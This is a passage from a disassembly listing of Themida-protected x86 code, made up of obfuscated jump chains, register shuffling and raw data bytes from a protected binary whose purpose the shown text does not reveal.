		db 47h
		dd 0B8CAC781h, 0FD8958D6h, 0D0C5815Fh, 684D9F11h, 3581h
		dd 0BE243489h, 786C724Ah, 0E95EF509h, 0FFFF8A34h
dword_54AD68	dd 9D1C77FFh, 19665866h, 0E99C2404h, 0FFFF6DA7h, 0E9C3315Fh
					; DATA XREF: Themida_:00541A64o
		dd 8DCBh, 52E68956h, 31406855h,	0E4E92AD4h
		db 83h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54AD8F:				; CODE XREF: Themida_:00552117j
		pop	edx
		jmp	loc_544537
; ---------------------------------------------------------------------------

loc_54AD95:				; CODE XREF: Themida_:0054F940j
		neg	edi
		xor	edx, edi
		jmp	loc_553E33
; ---------------------------------------------------------------------------
aShbvj7BZQ	db 'ShBv†7[Ƕï',0
aS_6		db 'é',0
aO		db 'Ž',0
		align 10h

loc_54ADB0:				; CODE XREF: Themida_:00549440j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		push	5127h
		jmp	loc_549B36
; ---------------------------------------------------------------------------

loc_54ADC8:				; CODE XREF: Themida_:0054266Fj
		add	esp, 4
		jmp	loc_54A745
; ---------------------------------------------------------------------------
		dd 7252C381h, 68527039h, 0F3B5EAEh, 78C2815Ah, 0E9233D6Ah
		dd 0FFFFF02Fh, 1C8BF888h, 4C48324h, 0A024E959h,	3C870000h
		dd 0A7E95C24h
		db 57h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54ADFF:				; CODE XREF: Themida_:0054C682j
		mov	ebp, 6E64D69Eh
		sub	edi, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		and	eax, edi
		mov	edi, [esp]
		push	edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 4
		jmp	loc_5451CA
; ---------------------------------------------------------------------------

loc_54AE28:				; CODE XREF: Themida_:0054D52Bj
		push	5069h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	eax, [esp]
		add	esp, 4
		add	eax, 4
		push	62DDh
		mov	[esp], ebx
		jmp	loc_55413F
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 0FFFB8924h, 525F2434h, 0FF769AE9h, 0EFC15CFFh, 2CCF6804h
		dd 4890000h, 6F70E924h,	0E954FFFFh, 0FFFF7817h,	8BA3E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54AE7E:				; CODE XREF: Themida_:005546FFj
		mov	esi, ebp
		jmp	loc_5544F4
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 5451F1F7h, 4BE5659h,	1000000h, 653FE9F1h, 0B6520000h
		dd 73D9E9E0h, 78E9FFFFh, 52FFFF6Ch, 0FFBAC0E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54AEAD:				; CODE XREF: Themida_:0054EEACj
		add	ebx, eax
		add	ebx, 6BF0756Dh
		push	0A95h
		mov	[esp], edi
		mov	edi, 2A7220CEh
		add	edi, 3C9F6119h
		shr	edi, 7
		add	edi, 46D1307Fh
		sub	ebx, edi
		pop	edi
		pop	eax
		xchg	ebx, [esp]
		mov	esp, [esp]
		or	eax, eax
		jmp	loc_54223B
; ---------------------------------------------------------------------------

loc_54AEE2:				; CODE XREF: Themida_:00543297j
		xchg	ebx, [edi+20h]
		shr	dword ptr [edi+20h], 3
		xor	dword ptr [edi+20h], 7C010477h
		sub	dword ptr [edi+20h], 104A3ED7h
		sub	dword ptr [edi+20h], 1
		add	dword ptr [edi+20h], 0FA257437h
		jmp	loc_5529DE
; ---------------------------------------------------------------------------
		db 0BDh
		dd 0B9043FE4h, 0E95DEB01h, 8D47h
; ---------------------------------------------------------------------------

loc_54AF14:				; CODE XREF: Themida_:00554191j
		pop	esp
		jmp	loc_5453C6
; ---------------------------------------------------------------------------

loc_54AF1A:				; CODE XREF: Themida_:0054647Fj
		pop	ebx
		and	esi, 0D2B5FA0h
		jmp	loc_5522AB
; ---------------------------------------------------------------------------
aRsu		db 'R鞜',0
		align 4
		dd 4B850h, 0C5010000h, 0E127E958h, 0B753FFFFh, 4E7C04Dh
		dd 0E9E9C7FEh
		db 72h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54AF47:				; CODE XREF: Themida_:00542E5Fj
		mov	ebx, 626C131Eh
		and	esi, ebx
		jmp	loc_554B54
; ---------------------------------------------------------------------------
		db 80h
		dd 0C980F5E9h, 0D8C180DFh, 59CE00h, 0AF17E9F3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54AF66:				; CODE XREF: Themida_:005542C3j
		add	ebx, 4
		jmp	loc_55328F
; ---------------------------------------------------------------------------

loc_54AF6E:				; CODE XREF: Themida_:00545905j
		push	ebx
		mov	bl, 99h
		push	ecx
		mov	ch, 21h
		sub	bl, ch
		jmp	loc_5467CE
; ---------------------------------------------------------------------------

loc_54AF7B:				; CODE XREF: Themida_:00554F91j
		add	edx, edi
		pop	edi
		pop	ebx
		sub	esp, 4
		mov	[esp], esi
		push	eax
		jmp	loc_556769
; ---------------------------------------------------------------------------

loc_54AF8B:				; CODE XREF: Themida_:0054BBB9j
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 4
		push	ebp
		mov	ebp, 7C4A2913h
		jmp	loc_55430F
; ---------------------------------------------------------------------------

loc_54AFA2:				; CODE XREF: Themida_:0054E994j
		push	cx
		pushf
		jmp	loc_541B1F
; ---------------------------------------------------------------------------
		dw 15Ah
		dd 0EC815BDDh, 4, 0FF242C89h, 8B042474h, 0C483242Ch, 24AFE904h
		dd 0F3B30000h, 5B66DE00h, 0A7E9DEF6h, 81000083h, 4C4h
		dd 3CA8E900h
		db 2 dup(0)
word_54AFDE	dw 8B66h		; DATA XREF: Themida_:00541AC8o
		dd 5C68240Ch, 8900005Eh
		db 1Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_544A8E
; ---------------------------------------------------------------------------
		dw 0F756h
		dd 505E2414h, 198FBB53h, 0EDB816FAh, 3135C16Ch,	75FAE9D8h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54B00A:				; CODE XREF: Themida_:00550FD6j
		mov	[esp], ebx
		mov	ebx, 0FF5EFFE2h
		add	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_54BD99
; ---------------------------------------------------------------------------
aIQ4BS		db '‰<$Q¹Í',27h,'#4¿´Ç¡ éµ²',0
		align 2
		dw 0E95Ah
		dd 0FFFFDC9Ah, 0EAC1DAF7h, 18CA8104h, 8179AB51h, 2B125F2h
		dd 0E9D72967h, 0FFFF8060h, 842259BBh, 0C3814B10h, 262321BCh
		dd 0BA5BDF89h, 26743B8Bh, 243BC281h, 0FA012FDDh, 243BEA81h
		dd 3C8B2FDDh, 4C48124h,	0BB000000h, 5D1B7F9Bh, 295AD331h
		dd 0C2E95BDDh
		db 97h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54B08B:				; CODE XREF: Themida_:005520C4j
		and	edx, eax
		pop	eax
		and	edx, 392C6B6Dh
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4715629Eh
		shr	eax, 8
		jmp	loc_542E15
; ---------------------------------------------------------------------------

loc_54B0AA:				; CODE XREF: Themida_:00543094j
		sub	ebx, esi
		jmp	loc_54C309
; ---------------------------------------------------------------------------
		db 29h,	0FAh, 5Fh
		dd 0C281C201h, 37C155F1h, 8324048Bh, 148704C4h,	24248B24h
		dd 240C8B66h, 423C68h, 0B86FE900h, 360D0000h, 50B5D49h
		dd 0A1640C2h, 0F39DF52Dh, 8BC50155h, 0C4832404h, 4ED8104h
		dd 87000000h, 0E95C242Ch, 0FFFF75E6h, 8924248Bh, 0E953240Ch
		dd 1EA5h, 8B242C87h, 0EC812424h, 4, 68243489h, 0C5Ch, 0FF240489h
		dd 685E2434h, 122Ch, 89240489h,	405E0h,	68560000h, 2E1Bh
		dd 5D67E9h, 241C8900h, 2BBh, 0E9DA0100h, 1695h
; ---------------------------------------------------------------------------

loc_54B14C:				; CODE XREF: Themida_:00541B96j
		pop	esp
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_549F82
; ---------------------------------------------------------------------------
		dw 0C188h
		dd 2EE9CB88h, 89FFFFCCh, 6E9240Ch, 83FFFF87h, 0BE5604C4h
		dd 43AE4A69h, 76F6814Eh, 815D7816h, 0AA173FCEh,	5EEC15Ch
		dd 9BDEF681h, 0F32937E7h, 613EE95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54B196:				; CODE XREF: Themida_:00548685j
		mov	[esp], edx
		jmp	loc_549916
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 10DBE924h, 0C83B0000h, 6971E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54B1AE:				; CODE XREF: Themida_:00555573j
		sub	ebx, 7F5163DCh
		sub	ebx, 2E982888h
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 37453C2Ah
		push	ebp
		mov	ebp, 5C1A524Fh
		sub	ebp, 7E2C7F2Bh
		jmp	loc_5483AC
; ---------------------------------------------------------------------------

loc_54B1D9:				; CODE XREF: Themida_:0054850Aj
		pop	ebp
		jmp	loc_555CB0
; ---------------------------------------------------------------------------
		db 56h
		dd 0FF8665E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54B1E5:				; CODE XREF: Themida_:0054A76Cj
		pop	edx
		add	esp, 4
		sub	ecx, 0CC767B3h
		sub	ecx, ebx
		add	ecx, 0CC767B3h
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_54E41D
; ---------------------------------------------------------------------------

loc_54B202:				; CODE XREF: Themida_:0054DB47j
		add	esp, 4
		add	edi, ebp
		mov	ebp, [esp]
		jmp	loc_54926A
; ---------------------------------------------------------------------------
		dw 0EAC1h
		dd 0BCC28108h, 0E9FFAC8Fh, 6723h, 4C581h, 0F8E90000h
		db 7Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54B22B:				; CODE XREF: Themida_:00551A18j
		push	ecx
		jmp	loc_546EA4
; ---------------------------------------------------------------------------
		db 0B2h, 0DEh, 0E9h
		dd 7A1Ch
; ---------------------------------------------------------------------------

loc_54B238:				; CODE XREF: Themida_:0054648Dj
		mov	edx, 4
		jmp	loc_5549CA
; ---------------------------------------------------------------------------

loc_54B242:				; CODE XREF: Themida_:00552C4Fj
		pop	ebx
		push	2308h
		jmp	loc_556517
; ---------------------------------------------------------------------------
		db 68h,	4, 0
		dd 0E9580000h, 0FFFFA9EDh, 68E9C301h, 53000010h, 5B2414F7h
		dd 248FE9h
		db 0
; ---------------------------------------------------------------------------

loc_54B269:				; CODE XREF: Themida_:00555E0Aj
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edx
		push	0FCF4F31h
		pop	edx
		jmp	loc_548E92
; ---------------------------------------------------------------------------
		db 89h
		dd 0A6E9240Ch
		db 0E4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54B283:				; CODE XREF: Themida_:0054B9CFj
		sub	ecx, edx
		pop	edx
		xchg	ecx, [esp]
		jmp	loc_5450B9
; ---------------------------------------------------------------------------

loc_54B28E:				; CODE XREF: Themida_:0054B434j
		sub	esi, 1D4881BDh
		add	ebp, esi
		pop	esi
		jmp	loc_542BDB
; ---------------------------------------------------------------------------

loc_54B29C:				; CODE XREF: Themida_:005523B6j
		add	esp, 4
		push	ebx
		jmp	loc_54A860
; ---------------------------------------------------------------------------
		dd 6EE9CF01h, 68000067h, 2DA4h,	52240489h, 7B398CBAh, 5AD08973h
		dd 4558C501h, 5702EDC1h, 8FBAE9h
		db 0
byte_54B2CD	db 66h,	8Bh, 4		; DATA XREF: Themida_:005419ACo
		dd 0E2895224h, 32C5BE56h, 0F8E91CF6h
		db 44h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54B2DF:				; CODE XREF: Themida_:0054CE37j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_54B86A
; ---------------------------------------------------------------------------

loc_54B2F4:				; CODE XREF: Themida_:0054FB3Cj
		push	4613h
		mov	[esp], ebp
		mov	ebp, 5C9D1922h
		push	0A05h
		mov	[esp], ebx
		mov	ebx, 239958B3h
		jmp	loc_546D49
; ---------------------------------------------------------------------------
		db 31h
		dd 12E92434h, 89FFFF93h, 0A97DE9E0h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54B322:				; CODE XREF: Themida_:005451A8j
		pop	edi
		xchg	eax, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	ebx
		mov	ebx, 24h
		sub	ebx, 6AEA09F7h
		add	ebx, edi
		add	ebx, 6AEA09F7h
		jmp	loc_549417
; ---------------------------------------------------------------------------
		dd 4244481h, 489B5982h,	4244481h, 48B930EAh, 405585Ah
		dd 56000000h, 21268h, 242C8900h, 0C14B01BDh, 0B5016807h
		dd 0B8E9F83Eh, 58000078h, 3768BD55h, 0EA291380h, 6AC2815Dh
		dd 0E954C152h, 0FFFFBC4Ah, 0A67CE954h, 48BFFFFh, 4C48324h
		dd 8105E2C1h, 0CC89C2F2h, 11C181A8h, 1354652h, 0A65AE9D1h
		dd 0E941FFFFh, 0FFFFA2A1h, 1B8h, 58C30100h, 6EA3E9h, 4BA00h
		dd 0ADE90000h, 89FFFFD0h, 0BA52240Ch, 2B9A3CF4h, 9A3CF8B9h
		dd 5AD1292Bh, 4244C01h,	81240C8Bh, 4C4h, 2434FF00h, 4C4815Ah
		dd 0E9000000h, 0FFFFDE71h
; ---------------------------------------------------------------------------

loc_54B3F4:				; CODE XREF: Themida_:00548C43j
		mov	ebx, 0F8BCBF5Ch
		sub	ebp, 1C5C7524h
		sub	ebp, ebx
		add	ebp, 1C5C7524h
		mov	ebx, [esp]
		add	esp, 4
		add	eax, ebp
		pop	ebp
		sub	eax, edi
		sub	eax, 4F5856E0h
		push	dword ptr [esp]
		pop	edi
		push	ebp
		push	esp
		pop	ebp
		push	esi
		mov	esi, 4340231Eh
		not	esi
		shr	esi, 2
		add	esi, 0B610C4Ah
		shr	esi, 1
		jmp	loc_54B28E
; ---------------------------------------------------------------------------
		db 2Dh,	29h, 78h
		dd 0F8297ACEh, 0CE782905h, 243C8B7Ah, 0E9E28952h, 0FFFFAD8Ch
		dd 0C181E189h, 4, 4BE56h, 2EE90000h, 81FFFFDCh,	4EBh, 241C3300h
		dd 0FF9D03E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54B471:				; CODE XREF: Themida_:00545211j
		push	ecx
		mov	ecx, 7C4539A9h
		add	edx, ecx
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		sub	edx, 0F960685h
		jmp	loc_54A0BD
; ---------------------------------------------------------------------------
		dd 0E0C38159h, 0E9081065h, 1ABFh, 4EC815Ah, 89000000h
		dd 0E0892404h, 405h, 80ECE900h,	48BFFFFh, 0B45DE924h, 0EA81FFFFh
		dd 0A4C219Dh, 0F8B8C281h, 2FE9C07Eh
		db 47h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54B4D3:				; CODE XREF: Themida_:005443A1j
		mov	esi, esp
		add	esi, 4
		push	ecx
		push	edx
		mov	edx, 4
		mov	ecx, edx
		pop	edx
		add	esi, ecx
		pop	ecx
		xchg	esi, [esp]
		pop	esp
		add	bl, al
		sub	bl, 59h
		jmp	loc_549A50
; ---------------------------------------------------------------------------
		dw 3489h
		dd 8A02E924h, 0B60FFFFFh, 8734FFC0h, 0FF6616E9h, 4BB652FFh
		dd 0E4E9F428h, 80FFFFE6h, 0CAE90BF3h
		db 9Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54B51B:				; CODE XREF: Themida_:005463E8j
		add	esp, 4
		mov	eax, [esp]
		jmp	loc_550A7F
; ---------------------------------------------------------------------------
		dw 431h
		dd 0F0E99C24h, 50FFFF65h, 4D5809B8h, 0E9C20108h, 0FFFFA466h
		dd 55D1F759h, 0EC0CC1BDh, 5DE92961h, 971EE9h
		db 0
; ---------------------------------------------------------------------------

loc_54B54D:				; CODE XREF: Themida_:00549DCCj
		add	edi, 0E03AF280h
		jmp	loc_54646E
; ---------------------------------------------------------------------------

loc_54B558:				; CODE XREF: Themida_:005510E0j
		push	edi
		mov	edi, 4
		add	esi, edi
		pop	edi
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_5423A2
; ---------------------------------------------------------------------------
		db 51h
		dd 0E652DEB9h, 3AE98102h, 8149EE1Dh, 0F24E60F1h, 5E9C11Dh
		dd 1C80E9h, 13D5BB00h, 15E948B0h, 21FFFFBBh, 0BE5659CBh
		dd 72D96E39h, 7601C681h, 0C6816DFDh, 4E6072Fh, 1EE81h
		dd 5AE90000h, 5C000041h, 0E9241C89h, 598Fh, 0E9240487h
		dd 0FFFF6D3Ch, 8145CD87h, 0C27183EDh, 0CFB951F8h, 2113B36Ch
		dd 33E959CDh
		db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54B5DB:				; CODE XREF: Themida_:00544081j
		add	al, 68h
		pop	edx
		push	eax
		push	ecx
		mov	cl, 0A4h
		push	edx
		jmp	loc_5557D2
; ---------------------------------------------------------------------------

loc_54B5E8:				; CODE XREF: Themida_:005487C8j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		mov	[ebx], cl
		pop	ecx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_541B1F
; ---------------------------------------------------------------------------
		dd 0D224248Bh, 0E99C242Ch, 0FFFF650Fh, 69F3815Bh, 8155F34Dh
		dd 3634DF3h, 7F91E919h,	0E6890000h, 4C681h, 0C6810000h
		dd 4, 9903E9h
		db 0
; ---------------------------------------------------------------------------

loc_54B635:				; CODE XREF: Themida_:00554444j
		add	ebx, 15CE5200h
		xor	eax, [ebx]
		jmp	loc_54EA53
; ---------------------------------------------------------------------------

loc_54B642:				; CODE XREF: Themida_:0054F530j
		mov	ebp, 4
		jmp	loc_54795E
; ---------------------------------------------------------------------------

loc_54B64C:				; CODE XREF: Themida_:005529E5j
		dec	dword ptr [edi+20h]
		jmp	loc_54786D
; ---------------------------------------------------------------------------
		dd 8B665A66h, 6851241Ch, 7980h,	819CE9h, 53C5FE00h, 0C7FE6FB7h
		dd 0C7FED7F6h, 8003E7C0h, 0E9E999C7h
		db 8Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54B67B:				; CODE XREF: Themida_:0054AD3Ej
		shr	eax, 12h
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], eax
		xchg	ebp, [esp]
		push	edx
		mov	edx, esp
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_553320
; ---------------------------------------------------------------------------

loc_54B69A:				; CODE XREF: Themida_:00551FA4j
		mov	edi, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_556A97
		push	9BFh
		mov	[esp], ebx
		mov	ebx, 1Ch
		sub	ebx, 15660E6Ah
		add	ebx, edi
		push	ebp
		push	17FC1053h
		pop	ebp
		add	ebp, 3932245Fh
		neg	ebp
		or	ebp, 78B31268h
		jmp	loc_554E37
; ---------------------------------------------------------------------------
		db 88h
		dd 0D08858C2h, 0C188515Ah, 5859CE88h, 0B6E9CEFEh
		db 53h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54B6EB:				; CODE XREF: Themida_:0054DD68j
		sub	esi, 54620974h
		add	esi, 0D753DA1h
		sub	esi, 182F5491h
		jmp	loc_551D98
; ---------------------------------------------------------------------------
		dw 483h
		dd 68E90424h
		db 0B0h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_54B70B:				; CODE XREF: Themida_:0054FA12j
		add	edi, eax
		push	dword ptr [esp]
		pop	eax
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		or	ebp, edi
		jmp	loc_54AA94
; ---------------------------------------------------------------------------

loc_54B729:				; CODE XREF: Themida_:00542F13j
		inc	esi
		xor	esi, 7630238Fh
		push	ebx
		jmp	loc_54E57C
; ---------------------------------------------------------------------------
		dw 158h
		dd 19D368F3h, 34890000h, 4CEBE24h, 0F329326Ah, 8324348Bh
		dd 348B04C4h, 7E95524h,	81000009h, 521B9FEEh, 81CE012Ah
		dd 521B9FC6h, 0EC83592Ah, 242C8904h, 7B03E952h,	835E0000h
		dd 0F00904C4h, 3A95E95Eh, 54560000h, 41BD555Eh,	814C8B14h
		dd 580704CDh, 0F7F5877Ch, 346855D6h, 0E900005Ch, 174Bh
		dd 8B241487h, 1C892424h, 5E5B5624h, 46F3875Eh, 0EB83F387h
		dd 27F381FFh, 818048C5h, 277AB3E9h, 0E9D9014Bh,	61FFh
		dd 48E9E800h, 87FFFF6Eh, 845C2434h, 48E99CC8h, 83FFFF63h
		dd 0EE8104C4h, 2C3C6833h, 92E95657h, 81FFFF93h,	9441C6EFh
		dd 0CF015935h, 4ECCEF81h, 0BD555944h, 60734320h, 595DEF01h
		dd 2C781h, 54E90000h, 5B0000A6h, 0DEC7815Fh, 5810D733h
		dd 0E95FFB01h, 5E53h
; ---------------------------------------------------------------------------

loc_54B81C:				; CODE XREF: Themida_:005452D7j
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_54474E
; ---------------------------------------------------------------------------
		dd 68241C89h, 660h, 81242489h, 42404h, 1C8B0000h, 4C48124h
		dd 68000000h, 61B3h, 2F90E9h, 0FAEB8100h, 1FD5962h, 1655E9D9h
		dd 14890000h, 0E9A9E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54B86A:				; CODE XREF: Themida_:0054B2EFj
		add	esi, 721071Eh
		jmp	loc_54CA4F
; ---------------------------------------------------------------------------

loc_54B875:				; CODE XREF: Themida_:00554BDFj
		push	ebx
		jmp	loc_54BF00
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0FF7925E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54B881:				; CODE XREF: Themida_:0054873Bj
		mov	ebp, 0CE9EB723h
		jmp	loc_54EBEC
; ---------------------------------------------------------------------------
		db 0BAh
		dd 4, 752AE9h, 243C8900h, 6246E9h, 4BB00h, 0DA010000h
		dd 0FFD7C7E9h, 0E9EA01FFh, 67CCh, 463C780h, 0E80AE94Dh
		dd 4B8FFFFh, 29000000h,	0FA6858C3h, 0E9000054h,	5422h
		dd 11346866h, 24048966h, 0FF6246E9h, 8E3C1FFh, 77FDE943h
		dd 0C1450000h, 0E58102E5h, 7D821A96h, 0FF87E9E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54B8F1:				; CODE XREF: Themida_:0054806Ej
		xor	ebx, edx
		xor	edx, ebx
		xor	ebx, edx
		dec	edx
		xchg	edx, ebx
		sub	ebx, 2D82F91h
		xor	ebx, 656E01C8h
		sub	ebx, 1816C56Bh
		push	ebx
		sub	esp, 4
		jmp	loc_54DF9F
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 0EF4A3FBEh, 5EF0897Ah, 884D392Dh, 0A013E933h, 0F281FFFFh
		dd 7FFF7F7Dh, 7EE9E9h
		db 0
; ---------------------------------------------------------------------------

loc_54B935:				; CODE XREF: Themida_:0055431Cj
		add	edi, 3BDE1CD3h
		pop	edx
		xchg	edi, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 4
		jmp	loc_547097
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 9C2404D3h, 0FF61C6E9h, 0A7E95AFFh, 81000035h, 4C4h
		dd 0EDEB8100h, 8148DD60h, 813E5CEDh, 15C5813Ch,	8150A626h
		dd 5A1708C5h, 81DD0121h, 5A1708EDh, 15ED8121h, 5750A626h
		dd 0D0745ABFh, 0E7C14729h, 0D6BB5306h, 2156EA35h, 0C7815BDFh
		dd 0D6B7E4Ah, 0AA6FE950h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54B9AA:				; CODE XREF: Themida_:0054ABA9j
		add	ebp, 2
		xchg	ebp, [esp]
		pop	esp
		xor	[esp], dx
		jmp	loc_542E7B
; ---------------------------------------------------------------------------

loc_54B9BA:				; CODE XREF: Themida_:00555B40j
		push	ebx
		jmp	loc_542C50
; ---------------------------------------------------------------------------

loc_54B9C0:				; CODE XREF: Themida_:0054E6D7j
		push	eax
		jmp	loc_55059C
; ---------------------------------------------------------------------------

loc_54B9C6:				; CODE XREF: Themida_:00552CB3j
		shl	edx, 4
		sub	edx, 34B3845Ch
		jmp	loc_54B283
; ---------------------------------------------------------------------------
		dd 83240C8Bh, 1E6804C4h, 89000013h, 88E92434h, 0FF00006Fh
		dd 8B042474h, 0C483243Ch, 24048F04h, 0E924248Bh, 0FFFFACA4h
		dd 0EF81EF29h, 53D44BE0h, 0DCC7815Dh, 8139579Fh, 0F146DAC5h
		dd 81FD0116h, 0F146DAEDh, 243C8B16h, 81E38953h,	4ECh, 243C8900h
		dd 740550BFh, 4E7C127h,	0EF81D7F7h, 88BFAAFBh, 3C8BFB01h
		dd 4C48324h, 4C381h, 1C870000h,	24248B24h, 0AA01E9h, 74FF5600h
		dd 8F5E0424h, 0C8B2404h, 4C48124h, 81000000h, 0D76B5CC9h
		dd 0A5BA5208h, 0E9F7E3C2h, 0FFFFDBEDh, 6077C581h, 0ED815B95h
		dd 1942699Dh, 786DE981h, 0E9291923h, 786DC181h,	2D5D1923h
		dd 4DB1307Ah, 33B3E9h, 2434FF00h, 9BD5E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54BAA2:				; CODE XREF: Themida_:0054833Aj
		pop	ecx
		shr	eax, 3
		neg	eax
		jmp	loc_54301D
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 46h
		dd 0FF0DA749h, 575A2434h, 0C781E789h, 4, 4B850h, 0BDE90000h
		db 91h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54BACB:				; CODE XREF: Themida_:005442C6j
		push	dword ptr [esp]
		pop	ebp
		push	38BFh
		mov	[esp], ebp
		push	50D7h
		jmp	loc_544525
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 68241C89h, 26A0h, 3BD5E9h
		db 0
; ---------------------------------------------------------------------------

loc_54BAF1:				; CODE XREF: Themida_:005428FCj
		mov	edx, esp
		jmp	loc_545D9A
; ---------------------------------------------------------------------------
		dd 0F552E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54BAFE:				; CODE XREF: Themida_:00555F0Cj
		sub	edi, eax
		pop	eax
		xor	edi, 3D3C7AFh
		mov	ebx, edi
		mov	edi, [esp]
		jmp	loc_54D2FC
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 8324148Bh, 0C48304C4h, 8757E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54BB22:				; CODE XREF: Themida_:00549F70j
		sub	esp, 4
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_54FF1F
; ---------------------------------------------------------------------------

loc_54BB32:				; CODE XREF: Themida_:0055454Cj
		xchg	esi, [esp]
		jmp	loc_54ED46
; ---------------------------------------------------------------------------
		dw 0CE21h
		dd 15CE8159h, 0E94FAB1Ch, 0FCEh, 30243C32h, 99E9243Ch
		dd 5B000024h, 0E9241487h, 2F5Ah
; ---------------------------------------------------------------------------

loc_54BB5C:				; CODE XREF: Themida_:00547FDDj
		add	edi, 4
		push	ebp
		push	4
		pop	ebp
		jmp	loc_544DB7
; ---------------------------------------------------------------------------

loc_54BB6E:				; CODE XREF: Themida_:00542C30j
		pop	ebx
		jmp	loc_555B45
; ---------------------------------------------------------------------------
dword_54BB74	dd 525E2CACh, 8878B353h, 0EEC05BDEh, 0E9536605h, 0FFFFF43Eh
					; DATA XREF: Themida_:005418C4o
		dd 7EE9C701h, 1FFFFB5h,	0AEE95EF3h, 0BD000098h,	30510E97h
		dd 78E5C581h, 0DDF70EAEh, 0FF9147E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54BBA9:				; CODE XREF: Themida_:005517BCj
		pop	ecx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_54AF8B
; ---------------------------------------------------------------------------
aBquRqstp	db 'ïu~qéT',0
		dd 49C76800h, 34890000h, 678BE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54BBD6:				; CODE XREF: Themida_:00550C90j
		push	edi
		jmp	loc_5520E7
; ---------------------------------------------------------------------------
		dd 3EC2BF66h, 66FB0966h, 0EB81665Fh, 31660882h,	2434FFD8h
		dd 4C4815Bh, 83000000h,	348904ECh, 0B8665024h, 0AAE90B27h
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------

loc_54BC07:				; CODE XREF: Themida_:00544757j
		pop	eax
		xor	ecx, eax
		jmp	loc_54F9F3
; ---------------------------------------------------------------------------

loc_54BC0F:				; CODE XREF: Themida_:0054A92Dj
		push	dword ptr [esp]
		jmp	loc_54FA70
; ---------------------------------------------------------------------------

loc_54BC17:				; CODE XREF: Themida_:005446ADj
		xor	eax, 7A8C1D09h
		sub	ebx, eax
		pop	eax
		sub	ebx, 6B3964FDh
		add	ebx, ecx
		push	ebp
		mov	ebp, 6B3964FDh
		jmp	loc_54EB0C
; ---------------------------------------------------------------------------
aNhq		db '­hQ~',0             ; DATA XREF: Themida_:005418DCo
		align 4
		dd 0BE243489h, 1EF36401h, 0FF6A2FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54BC45:				; CODE XREF: Themida_:00550EB8j
		push	ebp
		mov	ebp, 24h
		push	ebx
		jmp	loc_555DFB
; ---------------------------------------------------------------------------

